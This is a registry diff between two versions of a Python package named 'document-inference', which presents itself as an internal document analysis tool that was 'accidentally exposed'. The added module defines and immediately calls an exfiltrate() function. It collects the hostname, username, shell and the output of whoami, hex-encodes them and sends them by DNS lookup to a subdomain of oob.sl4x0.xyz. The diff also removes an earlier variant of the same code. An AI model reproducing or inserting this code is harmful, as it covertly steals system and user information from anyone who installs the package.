document-inference 0.0.0__tar.gz → 0.0.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: document-inference
3
- Version: 0.0.0
3
+ Version: 0.0.2
4
4
  Summary: Internal Document Analysis Package
5
5
  Home-page: https://company-internal.example.com
6
6
  Author: Internal Team
@@ -0,0 +1,31 @@
1
+ import os
2
+ import socket
3
+ import uuid
4
+ import base64
5
+ import subprocess
6
+
7
+ def exfiltrate():
8
+ uid = str(uuid.uuid4())[:8]
9
+ hostname = os.uname()[1]
10
+ user = os.getenv("USER") or os.getenv("USERNAME") or "unknown"
11
+ shell = os.getenv("SHELL") or "noshell"
12
+ home = os.getenv("HOME") or "nohome"
13
+
14
+ # Optional RCE output - simple harmless cmd
15
+ try:
16
+ cmd_output = subprocess.check_output(["whoami"], stderr=subprocess.DEVNULL).decode().strip()
17
+ except Exception:
18
+ cmd_output = "fail"
19
+
20
+ # Compress & limit payload (DNS-safe)
21
+ marker = "docinf"
22
+ data = f"{uid}:{hostname}:{user}:{shell}:{cmd_output}:{marker}"
23
+ hexdata = base64.b16encode(data.encode()).decode().lower()[:50] # DNS label limit
24
+
25
+ try:
26
+ # Send DNS request to your Bind9 server
27
+ socket.gethostbyname(f"{hexdata}.oob.sl4x0.xyz")
28
+ except Exception:
29
+ pass
30
+
31
+ exfiltrate()
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: document-inference
3
- Version: 0.0.0
3
+ Version: 0.0.2
4
4
  Summary: Internal Document Analysis Package
5
5
  Home-page: https://company-internal.example.com
6
6
  Author: Internal Team
@@ -3,7 +3,7 @@ from setuptools import setup, find_packages
3
3
 
4
4
  setup(
5
5
  name="document-inference",
6
- version="0.0.0",
6
+ version="0.0.2",
7
7
  description="Internal Document Analysis Package",
8
8
  long_description="Private package accidentally exposed",
9
9
  long_description_content_type="text/markdown",
@@ -1,19 +0,0 @@
1
- import socket
2
- import uuid
3
- import os
4
-
5
- def exfiltrate():
6
- uid = str(uuid.uuid4())[:8] # Short unique string
7
- hostname = os.uname()[1]
8
- user = os.getenv("USER") or os.getenv("USERNAME")
9
- marker = "docinf-poc"
10
-
11
- data = f"{uid}-{hostname}-{user}-{marker}"
12
- hexdata = data.encode().hex()[:40] # limit to safe DNS length
13
-
14
- try:
15
- socket.gethostbyname(f"{hexdata}.oob.sl4x0.xyz")
16
- except:
17
- pass
18
-
19
- exfiltrate()